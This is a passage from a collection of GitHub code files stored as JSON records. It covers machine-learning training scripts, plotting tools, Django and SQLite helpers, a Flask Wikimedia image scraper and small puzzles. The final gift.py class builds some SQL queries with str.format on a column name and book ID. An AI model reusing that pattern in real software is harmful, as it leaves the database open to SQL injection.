Label')\nax.set_zlabel('Z Label')\nplt.show()","repo_name":"WandererGuy/ChannelNet2","sub_path":"test_code/try2.py","file_name":"try2.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10841483099","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.nn import LSTM\nfrom torch.autograd import Variable\nimport itertools\nfrom .util import median_absolute_percentage_error_compute_fn as mape\nfrom .MLPs import *\nfrom .util import *\n\nDEFAULT_MODE = -1\nDEFAULT_PAIR = (-1,-1)\nDEFAULT_IND = -1\n\ncls_criterion = torch.nn.CrossEntropyLoss()\nmse_criterion = torch.nn.MSELoss()\nlossfun = {'cls': cls_criterion, 'reg': mse_criterion, 'mape': mape}\nactfun = {'relu': F.relu, 'tanh': F.tanh, 'sigmoid': F.sigmoid} \n\nclass BasicModel(nn.Module):\n def __init__(self, args, name):\n super(BasicModel, self).__init__()\n self.name=name\n self.loss_fn = args.loss_fn\n self.activation = args.activation\n self.actfunc = actfun[self.activation]\n\n def train_(self, input_nodes, label):\n self.optimizer.zero_grad()\n\n #print(input_nodes[0].node_features)\n\n output = self(input_nodes)\n pred = output.data.max(1)[1]\n loss = lossfun[self.loss_fn](output.view(label.shape), label)\n mape_loss = lossfun['mape'](output.view(label.shape), label)\n loss.backward()\n self.optimizer.step()\n \n if self.loss_fn != 'cls':\n return 0, loss.cpu(), mape_loss\n \n correct = pred.eq(label.data).cpu().sum()\n accuracy = correct.to(dtype=torch.float) * 100. / len(label)\n return accuracy, loss\n \n def test_(self, input_nodes, label, print_info=False):\n with torch.no_grad():\n output = self(input_nodes)\n loss = lossfun[self.loss_fn](output.view(label.shape), label)\n mape_loss = lossfun['mape'](output.view(label.shape), label)\n if print_info:\n print(output.view(-1), label)\n if self.loss_fn != 'cls':\n return 0, loss.cpu(), mape_loss\n \n pred = output.data.max(1)[1]\n correct_ind = pred.eq(label.data).cpu()\n correct = pred.eq(label.data).cpu().sum()\n accuracy = correct.to(dtype=torch.float) * 100. / len(label)\n \n return accuracy, loss\n\n def pred_(self, input_nodes):\n with torch.no_grad():\n output = self(input_nodes)\n pred = output.data.max(1)[1]\n return pred\n\n def save_model(self, epoch):\n torch.save(self.state_dict(), 'model/epoch_{}_{:02d}.pth'.format(self.name, epoch))\n\n","repo_name":"jinglingli/nn-extrapolate","sub_path":"graph_algorithms/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2483,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"21"} +{"seq_id":"23579324514","text":"#--file D:\\HayashibeLab\\Ant_injury\\results\\cost_of_transport\\cot_sac_snn_light.csv --file D:\\HayashibeLab\\Ant_injury\\results\\cost_of_transport\\cot_td3_snn_light.csv --file D:\\HayashibeLab\\Ant_injury\\results\\cost_of_transport\\cot_ddpg_snn_light.csv --label SAC+SNN --label TD3+SNN --label DDPG+SNN\n\nimport argparse\nimport os\n\nimport matplotlib\nmatplotlib.use('Agg') # Needed to run without X-server\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\n\ndel matplotlib.font_manager.weight_dict['roman']\nmatplotlib.font_manager._rebuild()\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--title', type=str, default='')\n parser.add_argument('--file', action='append', dest='files',\n default=[], type=str,\n help='specify paths of scores.txt')\n parser.add_argument('--group1', action='append', dest='files',\n default=[], type=str,\n help='specify paths of scores.txt')\n parser.add_argument('--group2', action='append', dest='files',\n default=[], type=str,\n help='specify paths of scores.txt')\n parser.add_argument('--group3', action='append', dest='files',\n default=[], type=str,\n help='specify paths of scores.txt')\n\n parser.add_argument('--label', action='append', dest='labels',\n default=[], type=str,\n help='specify labels for scores.txt files')\n parser.add_argument('--xrange', type=int, default=0.8)\n parser.add_argument('--yrange', type=list, default=[])\n\n args = parser.parse_args()\n\n assert len(args.files) > 0\n assert len(args.labels) == len(args.files)\n\n plt.rcParams[\"font.family\"] = \"Times New Roman\" \n for fpath, label in zip(args.files, args.labels):\n # if os.path.isdir(fpath):\n # fpath = os.path.join(fpath, \".csv\")\n assert os.path.exists(fpath)\n scores = pd.read_csv(fpath, header=0)\n plt.plot(scores['alpha'], scores['cot'], label=label, marker=\"o\")\n plt.fill_between(scores['alpha'],scores['cot']-scores['std'],scores['cot']+scores['std'],alpha=0.3)\n # 表示範囲の変更\n plt.xlim(0, args.xrange)\n plt.ylim(1, 6)\n\n\n\n\n # # 薄い点線\n # plt.plot([i for i in range(1,args.xrange+1)], [1000 for _ in range(1,args.xrange+1)], linestyle=\"--\", color=\"black\", alpha=0.3)\n plt.xlabel('alpha', fontsize=15)\n plt.ylabel('Cost of Transport', fontsize=15)\n plt.legend(loc='best')\n # if args.title:\n # plt.title(args.title, fontsize=20)\n\n fig_fname = args.files[0] + args.title\n plt.savefig(fig_fname + \".png\")\n plt.savefig(fig_fname + \".pdf\")\n print('Saved a figure as {}'.format(fig_fname))\n\nif __name__ == '__main__':\n main()\n","repo_name":"Katsumi-N/hexapod_walk_snn","sub_path":"tools/plot_cot.py","file_name":"plot_cot.py","file_ext":"py","file_size_in_byte":2855,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"3680068261","text":"# Tensorflow 2 version\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport tensorflow as tf\n\nfrom tensorflow.keras import __version__\nfrom tensorflow.keras import backend as K\nfrom tensorflow.keras import optimizers\nfrom tensorflow.keras.callbacks import EarlyStopping, ModelCheckpoint, ReduceLROnPlateau\nfrom tensorflow.keras.layers import (Activation, BatchNormalization, Dense, Dropout,\n Flatten, Input, MaxPooling2D, Conv2D)\nfrom tensorflow.keras.models import Model\n\nimport utils.CNN_utils as cu\n\n\ndef main():\n print('Using Keras version:', __version__, 'with backend:', K.backend(), tf.__version__)\n\n # Choose size of validation set\n validationSetPortion = 0.1\n\n # Uses training data only between a given range\n magRange = [20, 26]\n\n # Load CSV training data\n filepathTrain = \"/Trainingdata/20pix_centered_train.csv\"\n filepathTest = \"/Trainingdata/20pix_centered_test.csv\"\n\n # Training hyperparameters\n subtract_pixel_mean = False\n epochs = 500\n early_stop_patience = 20\n learning_rate = 0.001\n batch_size = 256\n # dr = 5 / epochs # Parameter for Learning rate decay\n\n print(\"\\nLoading training data from: \", filepathTrain)\n trainSetX, trainSetY = cu.load_data_from_csv(filepathTrain, shuffle=True, only_positive=False, multichannel=False, magRange=magRange)\n print(\"Loading test data from: \", filepathTest)\n testSetX, testSetY = cu.load_data_from_csv(filepathTest, shuffle=False, only_positive=False, multichannel=False, magRange=[20, 26])\n\n # Make sure data is float32 to have enough decimals after normalization\n X_train = trainSetX.astype('float32')\n X_test = testSetX.astype('float32')\n\n # Normalize pixel values between 0 and 1\n X_train /= 2**16\n X_test /= 2**16\n\n # If subtract pixel mean is enabled\n if subtract_pixel_mean:\n X_train_mean = np.mean(X_train, axis=0)\n X_train -= X_train_mean\n X_test -= X_train_mean\n\n Y_train = trainSetY[:, 0:5]\n Y_test = testSetY[:, 0:5]\n\n Y_trainLabels = trainSetY[:, 0]\n Y_testLabels = testSetY[:, 0]\n\n # input image dimensions\n img_rows, img_cols = X_train.shape[1:3]\n\n # Convert to correct Keras format\n X_train = X_train.reshape(X_train.shape[0], img_rows, img_cols, 1)\n X_test = X_test.reshape(X_test.shape[0], img_rows, img_cols, 1)\n input_shape = (img_rows, img_cols, 1)\n\n print()\n print('Data loaded: train:', len(X_train), 'test:', len(X_test))\n print('trainSetX:', trainSetX.shape)\n print('X_train:', X_train.shape)\n print('trainSetY:', trainSetY.shape)\n print('Y_train:', Y_train.shape)\n\n # number of convolutional filters to use\n nb_filters = 64\n # convolution kernel size\n kernel_size = (3, 3)\n # size of pooling area for max pooling\n pool_size = (2, 2)\n\n dropoutProb = 0.25\n\n input = Input(shape=input_shape)\n x = BatchNormalization()(input)\n x = Conv2D(nb_filters, kernel_size,\n padding='same',\n input_shape=input_shape,\n use_bias=True)(x)\n #x = BatchNormalization()(x)\n x = Activation(\"relu\")(x)\n\n x = Conv2D(nb_filters, kernel_size,\n padding='same',\n use_bias=True)(x)\n x = BatchNormalization()(x)\n x = Activation(\"relu\")(x)\n\n x = MaxPooling2D(pool_size=pool_size)(x)\n x = Dropout(dropoutProb)(x)\n\n\n x = Conv2D(nb_filters*2, kernel_size,\n padding='same',\n use_bias=True)(x)\n #x = BatchNormalization()\n x = Activation(\"relu\")(x)\n\n x = Conv2D(nb_filters*2, kernel_size,\n padding='same',\n use_bias=True)(x)\n x = BatchNormalization()(x)\n x = Activation(\"relu\")(x)\n\n x = MaxPooling2D(pool_size=pool_size)(x)\n x = Dropout(dropoutProb)(x)\n\n\n x = Conv2D(nb_filters*3, kernel_size,\n padding='same',\n use_bias=True)(x)\n #x = BatchNormalization()(x)\n x = Activation(\"relu\")(x)\n\n x = Conv2D(nb_filters*3, kernel_size,\n padding='same',\n use_bias=True)(x)\n x = BatchNormalization()(x)\n x = Activation(\"relu\")(x)\n\n #x = MaxPooling2D(pool_size=pool_size)(x)\n x = Dropout(dropoutProb)(x)\n\n x = Flatten()(x)\n x = Dense(units=256, use_bias=True)(x)\n x = BatchNormalization()(x)\n x = Activation(\"relu\")(x)\n x = Dropout(dropoutProb*2)(x)\n\n # out1 is the classification unit, out2-out5 are coordinate units\n out1 = Dense(units=1, activation='sigmoid', name='label')(x)\n out2 = Dense(units=1, activation='sigmoid')(x)\n out3 = Dense(units=1, activation='sigmoid')(x)\n out4 = Dense(units=1, activation='sigmoid')(x)\n out5 = Dense(units=1, activation='sigmoid')(x)\n\n outAll = tf.concat([out1, out2, out3, out4, out5], axis=1, name='outAll')\n\n optimizer = optimizers.Adam(\n lr=learning_rate,\n beta_1=0.9,\n beta_2=0.999,\n epsilon=None,\n #decay=dr,\n amsgrad=False)\n\n metrics = [\n tf.keras.metrics.TruePositives(name='tp'),\n tf.keras.metrics.FalsePositives(name='fp'),\n tf.keras.metrics.TrueNegatives(name='tn'),\n tf.keras.metrics.FalseNegatives(name='fn'),\n tf.keras.metrics.BinaryAccuracy(name='accuracy'),\n tf.keras.metrics.Precision(name='precision'),\n tf.keras.metrics.Recall(name='recall'),\n tf.keras.metrics.AUC(name='auc'),\n cu.f1_metric\n ]\n\n model = Model(inputs=input, outputs=[outAll, out1])\n\n model.compile(loss=[cu.custom_YOLO_loss, 'binary_crossentropy'],\n loss_weights=[1, 0],\n optimizer=optimizer,\n metrics=[\"MeanAbsoluteError\", metrics])\n\n print(model.summary())\n\n # Callback to stop training if val_loss hasn't decreased recently.\n # Patience determines the number of epochs waited before stopping training.\n earlyStopCB = EarlyStopping(\n monitor='val_loss',\n patience=early_stop_patience,\n verbose=1,\n restore_best_weights=True)\n\n # Callback to save checkpoints of the best model so far.\n checkpointCB = ModelCheckpoint(\n filepath='checkpoint.hdf5',\n verbose=1,\n save_best_only=True,\n monitor='val_loss',\n save_weights_only=False,\n save_freq='epoch')\n\n # Callback to reduce learning rate if val_loss hasn't improved recently.\n LRCB = ReduceLROnPlateau(\n monitor='val_loss',\n verbose=1,\n factor=0.2,\n patience=5,\n min_lr=0.00001)\n\n history = model.fit(X_train,\n [Y_train, Y_trainLabels],\n epochs=epochs,\n batch_size=batch_size,\n verbose=2,\n validation_split=validationSetPortion,\n callbacks=[earlyStopCB], # Write desired callbacks between the brackets\n shuffle=False)\n\n # Plot training loss and validation loss history.\n plt.figure(figsize=(5, 3))\n plt.plot(history.epoch, history.history['loss'], label=\"loss\")\n plt.plot(history.epoch, history.history['val_loss'], label=\"val_loss\")\n plt.legend()\n plt.title('loss')\n\n scoresTrain = model.evaluate(X_train, [Y_train, Y_trainLabels], verbose=2)\n scoresTest = model.evaluate(X_test, [Y_test, Y_testLabels], verbose=2)\n print(scoresTrain, scoresTest)\n\n predictionsTrain = model.predict(X_train)\n predictionsTest = model.predict(X_test)\n\n predictionsTrain = predictionsTrain[0]\n predictionsTest = predictionsTest[0]\n\n print(\"\\nTraining set:\")\n cu.analyze_5unit_errors(predictionsTrain, Y_train)\n print(\"\\nTest set:\")\n cu.analyze_5unit_errors(predictionsTest, Y_test)\n\n binsMag = 24 # 60 for single, 24 for heatmap\n binsLength = 20 # 56 for single, 20 for heatmap\n\n dataframe2Dtrain = cu.create_histogram_2d(predictionsTrain, trainSetY, binsMag, binsLength)\n cu.plot_results_heatmap(dataframe2Dtrain, binsMag, title=\"Train set completeness\")\n\n dataframe2Dtest = cu.create_histogram_2d(predictionsTest, testSetY, binsMag, binsLength)\n cu.plot_results_heatmap(dataframe2Dtest, binsMag, title=\"Test set completeness\")\n\n modelName = \"test_model.h5\"\n print(\"\\nSaving model to\", modelName)\n model.save(modelName)\n\n plt.show()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"MikkoPontinen/EuclidCNN","sub_path":"trainSimpleCNN.py","file_name":"trainSimpleCNN.py","file_ext":"py","file_size_in_byte":8322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17476171903","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\n\nclass Post(models.Model):\n \"\"\"\n Post model, related to 'owner', i.e. a User instance.\n Default image set so that we can always reference image.url.\n \"\"\"\n\n bike_type_choices = [\n ('standard', 'Standard'),\n ('cruiser', 'Cruiser'),\n ('sports', 'Sports'),\n ('tourer', 'Tourer'),\n ('scrambler', 'Scrambler'),\n ('scooter', 'Scooter'),\n ('moped', 'Moped'),\n ('other', 'Other'),\n ]\n\n owner = models.ForeignKey(User, on_delete=models.CASCADE)\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n title = models.CharField(max_length=255)\n content = models.TextField(blank=True)\n image = models.ImageField(\n upload_to='images/', default='../default_post_wycmpt', blank=True\n )\n\n bike_type = models.CharField(\n max_length=50,\n choices=bike_type_choices,\n default='other',\n )\n\n class Meta:\n ordering = ['-created_at']\n\n def __str__(self):\n return f'{self.id} {self.title}'\n","repo_name":"JoeQuigley1/pp5-drf-bike-brothers","sub_path":"posts/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41618321945","text":"import sqlite3\r\nimport os\r\nfrom app import logger\r\n\r\ndef cursor_to_dict(cursor):\r\n results = []\r\n columns = [desc[0] for desc in cursor.description]\r\n for row in cursor.fetchall():\r\n results.append(dict(zip(columns, row)))\r\n\r\n return results\r\n\r\ndef ensure_schema():\r\n logger.info(\"ensuring schema\")\r\n sql = read_sql_file(\"./app/sql/images_table.sql\")\r\n dbfile_path = \"./Index.db\" if os.getenv(\"ENVIRONMENT\", \"LOCAL\") != \"PRODUCTION\" else os.getenv(\"DBFILE_PATH\")\r\n conn = sqlite3.connect(dbfile_path)\r\n c = conn.cursor()\r\n c.execute(\"SELECT sql FROM sqlite_master WHERE name = 'Images'\")\r\n result = c.fetchone()\r\n if result != None:\r\n curent_schema_sql = result[0].replace(\" \",\"\")\r\n new_schema_sql = sql.replace(\" \", \"\").replace(\";\",\"\")\r\n if curent_schema_sql != new_schema_sql:\r\n logger.warn(\"Change detected in schema. Recreating table...\")\r\n c.execute(\"DROP TABLE Images\")\r\n c.execute(sql)\r\n else:\r\n c.execute(sql)\r\n conn.close()\r\n\r\n\r\ndef read_sql_file(filename: str) -> str:\r\n fd = open(filename, 'r')\r\n sql = fd.read().replace('\\n', '')\r\n fd.close()\r\n return sql","repo_name":"rgreen32/WorldView","sub_path":"app/app/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"27492389507","text":"from typing import Callable, Iterable\nfrom copy import deepcopy\nfrom statistics import mean\n\n\ndef merge_mean(ds: Iterable[dict]) -> dict:\n d = merge_list(ds)\n return map_over_leaves(d, mean)\n\n\ndef merge_list(ds: Iterable[dict]) -> dict:\n \"\"\"Recursively aggregate dictionaries with the same keys.\n\n Given two dictionaries with the same structure\n \"\"\"\n\n result = {}\n first = ds[0]\n\n # # Check: all dictionaries should have the same keys.\n # for other in ds[1:]:\n # assert (a:= set(first.keys())) == (b:= set(other.keys())), f\"{a} != {b}\"\n\n for k, v in first.items():\n if isinstance(v, dict):\n result[k] = merge_list([each[k] for each in ds])\n else:\n result[k] = [each[k] for each in ds]\n return result\n\n\ndef map_over_leaves(d: dict, c: Callable) -> dict:\n \"\"\"Call `c` on each \"leaf\" of `d`, i.e. a value in `d` or a sub-dict of `d` that is not a dict itself.\n Return a new dict, leaving `d` intact.\n \"\"\"\n r = deepcopy(d)\n for k, v in r.items():\n if isinstance(v, dict):\n r[k] = map_over_leaves(v, c)\n else:\n r[k] = c(v)\n return r\n","repo_name":"Zatteliet/eventdna-exp","sub_path":"experiments/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74250166132","text":"# AUTHOR: Jacob Russell\n# DATE: 02/17/2022\n# CLASS: CS361 Software Engineering I\n\n# DESCRIPTION: A wikimedia commons image scraper microservice. Gets valid image\n# URLs based on a given word. If no wikimedia category found for that word,\n# this program uses thesaurus API to find synonyms and tries those.\n# See: README, if the program doesn't work. config.py must be created by user.\n\n# REFERENCES: https://www.geeksforgeeks.org/image-scraping-with-python/,\n# https://stackabuse.com/deploying-a-flask-application-to-heroku/\n# thesaurus API is at https://words.bighugelabs.com/site/api\n\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport random\nfrom flask import Flask, jsonify, request\nfrom flask_cors import cross_origin\n# import config # uncomment to run on localhost\nimport os # uncomment to run on Heroku\n\n\napp = Flask(__name__)\n\n\nclass ImageScraper:\n \"\"\"Take a word and return valid image source url from wikimedia\"\"\"\n\n def __init__(self):\n self._word = \"\"\n self._raw_image_urls = []\n self._valid_image_urls = []\n self._synonyms = []\n self._html_data = \"\"\n self._image_exts = [\".jpg\", \".png\"]\n self._wiki_url = \"https://commons.wikimedia.org/wiki/Category:\" + self._word + \"/json\"\n self._synonym_url = \"\"\n\n def set_word(self, word):\n \"\"\"Set word to find images for\"\"\"\n self._word = word\n self.set_wiki_url()\n\n def set_synonym_url(self):\n \"\"\"\n Uncomment first line if running on Heroku\n Uncomment second line if running on localhost\n \"\"\"\n self._synonym_url = \"https://words.bighugelabs.com/api/2/\" + os.environ[\"api_key\"] + self._word + \"/json\"\n # self._synonym_url = \"https://words.bighugelabs.com/api/2/\" + config.api_key + self._word + \"/json\"\n\n def set_wiki_url(self):\n \"\"\"Adds word to wiki url to find images related to that word\"\"\"\n self._wiki_url = \"https://commons.wikimedia.org/wiki/Category:\" + self._word\n\n def retrieve_page_data(self):\n \"\"\"takes a URL and returns the HTML data from that page\"\"\"\n self._html_data = requests.get(self._wiki_url).text\n\n def raw_image_urls(self):\n \"\"\"Takes HTML raw data and returns list of image source urls\"\"\"\n soup = BeautifulSoup(self._html_data, 'lxml')\n for url in soup.find_all('img'):\n self._raw_image_urls.append(url['src'])\n\n def valid_image_urls(self):\n \"\"\"\n Takes list of wikimedia commons thumbnail image urls and returns list of jpg source urls\n NOTE: only works with wikimedia commons category pages. Thumbnail url is similar to real image url\n so some string manipulation is all that is needed to produce valid urls.\n \"\"\"\n for raw_url in self._raw_image_urls: # go through and transform urls to thumb images into urls for actual jpgs\n temp = raw_url.replace(\"thumb/\", \"\")\n if temp[0:4] == \"http\":\n for ext in self._image_exts:\n i = temp.find(ext)\n if -1 < i < len(temp) - 5: # if it is an accepted image file type\n p = temp.find(\"/\", i)\n fixed_url = temp[0:p]\n self._valid_image_urls.append(fixed_url)\n\n def retrieve_synonyms(self):\n \"\"\"\n Takes a word and uses API to get list of synonyms\n Thesaurus API: https://words.bighugelabs.com/site/api\n \"\"\"\n self.set_synonym_url()\n try:\n # Use thesaurus API to get synonyms for the words\n response = requests.get(self._synonym_url).json()\n words = None\n word_types = [t for t in response] # gets all word types for this word (e.g. noun, adjective, verb)\n for word_type in word_types: # iterates through all words from all word types\n words = response[word_type]['syn'] # ['syn'] is where synonyms stored (vs ['ant'] for antonym)\n for word in words:\n self._synonyms.append(word)\n if not words:\n print(\"No synonyms found.\")\n except:\n print(\"Invalid JSON response from thesaurus API.\")\n\n def get_random_valid_image(self):\n \"\"\"Returns random url from a list of urls\"\"\"\n i = random.randint(0, len(self._valid_image_urls) - 1)\n return self._valid_image_urls[i]\n\n def try_synonyms(self):\n \"\"\"\n Try to find valid image urls using synonyms of original word\n Return True if one is found, otherwise False\n \"\"\"\n self.retrieve_synonyms() # get word's synonyms from thesaurus API\n if not self._synonyms:\n print(\"No synonyms found.\")\n return False\n count = 0\n while not self._valid_image_urls and count < len(self._synonyms):\n self._word = self._synonyms[count]\n self.image_scraper(self._word)\n print(\"Trying synonym: \", self._word) # for DEBUGGING\n count += 1\n # If we have tried every synonym but still couldn't find a valid image\n if count >= len(self._synonyms):\n return False\n return True\n\n def check_valid_image_urls(self):\n \"\"\"Checks if we found a valid image url. Returns True if so, else False\"\"\"\n if self._valid_image_urls:\n return True\n else:\n return False\n\n def image_scraper(self, word):\n \"\"\"\n Main image scraper function.\n \"\"\"\n self.set_word(word) # set the keyword\n self.retrieve_page_data() # get the wikimedia page data\n self.raw_image_urls() # get the raw image urls from the wikimedia page\n self.valid_image_urls() # turn those raw urls into useable full-size image urls\n\n\n@app.route('/')\ndef index():\n print(\"Index accessed..\")\n return\"<h1>Welcome to my image scraper!</h1>\"\n\n\n# Reference: https://stackabuse.com/deploying-a-flask-application-to-heroku/\n@app.route('/get_image_url/', methods=['GET'])\n@cross_origin() # for CORS\ndef respond():\n\n word = request.args.get(\"word\", None) # extract the word from the url\n print(\"Word received: \", word)\n response = {\"IMAGE_URL\": \"ERROR: No image URLs found.\"} # set default response as error\n\n if not word: # send error if no word received\n return jsonify(response)\n\n scraper = ImageScraper()\n scraper.image_scraper(word) # Main function\n\n # If no valid image urls found, try synonyms\n if not scraper.check_valid_image_urls() and not scraper.try_synonyms():\n print(\"No results using synonyms.\")\n return jsonify(response)\n\n # If a valid results found, print a random one\n image_url = scraper.get_random_valid_image()\n if image_url:\n response[\"IMAGE_URL\"] = image_url\n return jsonify(response)\n\n\nif __name__ == \"__main__\":\n app.run()\n","repo_name":"jrussell-OSU/image_scraper","sub_path":"flask_app.py","file_name":"flask_app.py","file_ext":"py","file_size_in_byte":6841,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"21842267687","text":"# Given an array w of positive integers,\n# where w[i] describes the weight of index i,\n# write a function pickIndex which randomly picks\n# an index in proportion to its weight.\n\nimport random\n\nclass Solution:\n\n def __init__(self, w):\n '''\n find the prefix sum and total\n '''\n self.prefix_sum = []\n total = 0\n for e in w:\n total += e\n self.prefix_sum.append(total)\n self.total = total\n\n def pickIndex(self) -> int:\n '''\n random will give us a random number in [0, 1)\n '''\n target = random.randint(1,self.total)\n low, high = 0, len(self.prefix_sum)\n while low < high:\n mid = (low + high) // 2\n if target > self.prefix_sum[mid]:\n low = mid + 1\n else:\n high = mid\n return low\n\n# Your Solution object will be instantiated and called as such:\nw = [1, 3]\nobj = Solution(w)\nresult = []\nfor i in range(5):\n result.append(obj.pickIndex())\nprint(result)\n","repo_name":"JieFrye/leetcode","sub_path":"BinarySearch/RandomPickwithWeight.py","file_name":"RandomPickwithWeight.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23506285549","text":"def solution(s):\n answer = 0\n dic = {\n \"zero\":\"0\",\n \"one\":\"1\",\n \"two\":\"2\",\n \"three\":\"3\",\n \"four\":\"4\",\n \"five\":\"5\",\n \"six\":\"6\",\n \"seven\":\"7\",\n \"eight\":\"8\",\n \"nine\":\"9\"\n }\n for x in dic:\n s = s.replace(x, dic[x])\n answer = int(s)\n return answer","repo_name":"nkrang/Algorithm-Study","sub_path":"202109/P-81301/숫자_문자열과_영단어.py","file_name":"숫자_문자열과_영단어.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31952355621","text":"# Food Chain Game Using Python - www.101computing.net/food-chain-game-using-python/\nimport random\nimport find_path\norganisms = [\"grass\", \"insect\", \"rabbit\", \"slug\", \"frog\", \"vole\", \"thrush\", \"fox\", \"hawk\"]\norganismsLength = len(organisms)\n\n# Select organism for player\nplayerPosition = random.randint(0, organismsLength - 1)\nplayerOrganism = organisms[playerPosition]\nprint(\"Player Organism: \" + playerOrganism)\n\n# Select organism for computer\ncomputerPosition = random.randint(0, organismsLength - 1)\n# Ensure that the computer organism will be different from the player organism\nwhile computerPosition == playerPosition:\n computerPosition = random.randint(0, organismsLength - 1)\n\ncomputerOrganism = organisms[computerPosition]\nprint(\"Computer Organism: \" + computerOrganism)\n\nfoodWeb = {'insect': ['grass'],\n 'rabbit': ['grass'],\n 'slug': ['grass'],\n 'thrush': ['slug', 'insect'],\n 'vole': ['insect'],\n 'frog': ['insect'],\n 'hawk': ['frog', 'vole', 'thrush'],\n 'fox': ['rabbit', 'frog', 'vole']}\n\n# Complete code here to find out if the computer organism and the player organism are linked (Direct link or indirect\n# link) If a link is detected decide who between the computer and the player wins the game\nlink1 = find_path.main(playerOrganism, computerOrganism, foodWeb)\nlink2 = find_path.main(computerOrganism, playerOrganism, foodWeb)\nprint(link1, link2)\n","repo_name":"CaptainMills78/Classwork-Year-1-Term-1---2","sub_path":"Others/Graphs/Food chain/Food chain.py","file_name":"Food chain.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38873776733","text":"from .base import pool\nimport MySQLdb\n\n\n\nclass Gift():\n\t'''\n\t表示某位用户想赠送某本书\n\tid auto_increment primary key int(10)\n\tbook_id\n\tuser_id\n\tlaunched\t是否已经完成赠送\n\t'''\n\n\tdef __init__(self, book_id, user_id, launched):\n\t\tself.book_id = book_id\n\t\tself.user_id = user_id\n\t\tself.launched = launched\n\n\n\tdef insert(self):\n\t\tret = True\n\t\ttry:\n\t\t\tsql = 'insert into gift (`book_id`, `user_id`, `launched`) values(%s, %s, %s)'\n\t\t\tconn = pool.connection()\n\t\t\tcur = conn.cursor()\n\t\t\tcur.execute(sql, (self.book_id, self.user_id, self.launched))\n\t\t\tconn.commit()\n\t\texcept:\n\t\t\tprint('Error')\n\t\t\tret = False\n\t\t\tconn.rollback()\t# 一条sql失败 则全部都不会提交\n\t\tfinally:\n\t\t\tcur.close()\n\t\t\tconn.close()\n\t\treturn ret\n\n\n\t@classmethod\n\tdef update(cls, u_id, item, new_value, book_id):\n\t\tret = True\n\t\ttry:\n\t\t\tsql = 'update gift set {} = %s where user_id=%s and book_id={};'.format(item, book_id)\n\t\t\tprint(sql)\n\t\t\tconn = pool.connection()\n\t\t\tcur = conn.cursor()\n\t\t\tcur.execute(sql, (new_value, u_id, ))\n\t\t\tconn.commit()\n\t\texcept Exception as e:\n\t\t\tprint('Gift Update Error', e)\n\t\t\tret = False\n\t\t\tconn.rollback()\t# 一条sql失败 则全部都不会提交\n\t\tfinally:\n\t\t\tcur.close()\n\t\t\tconn.close()\n\t\treturn ret\n\n\n\t@classmethod\n\tdef get_giftInfo(cls,book_id):\n\t\t'''\n\t\t查询某本书相关的礼物\n\t\t'''\n\t\tsql = 'select user_id,nickname,launched from user u,gift g where g.book_id=%s and g.user_id=u.id and launched=%s;'\n\t\tconn = pool.connection()\n\t\tcur = conn.cursor()\n\t\tcur.execute(sql,(book_id,'0', ))\n\t\t# 拿结果 直接拿不知道是什么? 是字典?\n\t\t# ret = cur.fetchall()\n\t\t# 这条怎么理解? 解包?\n\t\tret = [ dict(zip([ k[0] for k in cur.description ], row))\n\t\t\t\tfor row in cur.fetchall() ]\t\t# 多条数据 用list\n\t\tcur.close()\n\t\tconn.close()\n\t\treturn ret \t# 返回列表 每个元素为一个字典\n\n\n\t@classmethod\n\tdef get_user_gift_by_username(cls,username):\n\t\t'''\n\t\t查询某用户相关的礼物\n\t\t'''\n\t\tsql = 'select isbn,title,author,launched from gift,user u,book b where username=%s and user_id=u.id and b.id=book_id;'\n\t\tconn = pool.connection()\n\t\tcur = conn.cursor()\n\t\tcur.execute(sql,(username,))\n\t\t# 拿结果 直接拿不知道是什么? 是字典?\n\t\t# ret = cur.fetchall()\n\t\t# 这条怎么理解? 解包?\n\t\tret = [ dict(zip([ k[0] for k in cur.description ], row))\n\t\t\t\tfor row in cur.fetchall() ]\t\t# 多条数据 用list\n\t\tcur.close()\n\t\tconn.close()\n\t\treturn ret\n\n\n\t@classmethod\n\tdef delete_by_ISBN(cls, isbn):\n\t\ttry:\n\t\t\tsql = 'delete from gift where book_id=(select id from book where isbn=%s);'\n\t\t\tconn = pool.connection()\n\t\t\tcur = conn.cursor(cursorclass = MySQLdb.cursors.DictCursor)\t# 设置返回字典\n\t\t\tcur.execute(sql,(isbn, ))\n\t\t\tconn.commit()\n\t\t\tret = cur.fetchall()\t# 得到一个元组 每个元素为一个字典\n\t\texcept Exception as e:\n\t\t\tprint('Error',e)\n\t\t\tconn.rollback()\n\t\tfinally:\n\t\t\tcur.close()\n\t\t\tconn.close()\n\t\treturn ret\n\n\n\t@classmethod\n\tdef valid_gift_exists(cls, book_id, user_id):\n\t\tsql = 'select * from gift where 